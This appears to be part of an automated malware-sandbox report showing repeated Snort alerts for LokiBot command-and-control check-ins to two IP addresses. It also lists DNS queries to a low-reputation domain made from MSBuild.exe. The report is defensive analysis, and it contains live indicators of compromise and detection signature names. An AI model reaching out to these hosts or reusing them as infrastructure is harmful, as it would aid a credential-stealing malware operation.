Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49778 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49778 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49778 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49778 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49779 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49779 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49779 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49779 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49780 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49780 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49780 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49780 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49781 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49781 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49781 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49781 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49782 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49782 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49782 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49782 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49783 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49783 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49783 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49783 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49786 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49786 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49786 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49786 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49787 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49787 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49787 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49787 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49788 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49788 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49788 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49788 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49789 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49789 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49789 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49789 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49790 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49790 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49790 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49790 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49791 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49791 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49791 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49791 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49792 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49792 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49792 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49792 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49793 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49793 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49793 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49793 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49794 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49794 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49794 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49794 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49795 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49795 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49795 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49795 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49796 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49796 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49796 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49796 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49797 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49797 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49797 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49797 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49798 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49798 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49798 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49798 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49800 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49800 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49800 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49800 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49807 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49807 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49807 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49807 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49819 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49819 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49819 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49819 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49834 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49834 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49834 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49834 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49837 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49837 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49837 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49837 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49839 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49839 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49839 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49839 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49845 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49845 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49845 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49845 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49846 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49846 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49846 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49846 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49847 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49847 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49847 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49847 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49855 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49855 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49855 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49855 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49862 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49862 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49862 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49862 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49870 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49870 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49870 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49870 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49874 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49874 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49874 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49874 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49875 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49875 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49875 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49875 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49876 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49876 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49876 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49876 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49877 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49877 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49877 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49877 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49878 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49878 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49878 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49878 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49879 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49879 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49879 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49879 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49880 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49880 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49880 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49880 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49881 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49881 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49881 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49881 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49882 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49882 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49882 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49882 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49883 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49883 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49883 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49883 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49885 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49885 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49885 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49885 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49886 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49886 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49886 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49886 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49887 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49887 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49887 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49887 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49888 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49888 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49888 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49888 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49889 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49889 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49889 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49889 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49890 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49890 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49890 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49890 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49891 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49891 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49891 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49891 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49892 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49892 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49892 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49892 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49893 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49893 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49893 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49893 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49894 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49894 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49894 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49894 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49895 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49895 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49895 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49895 -> 104.21.60.171:80

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
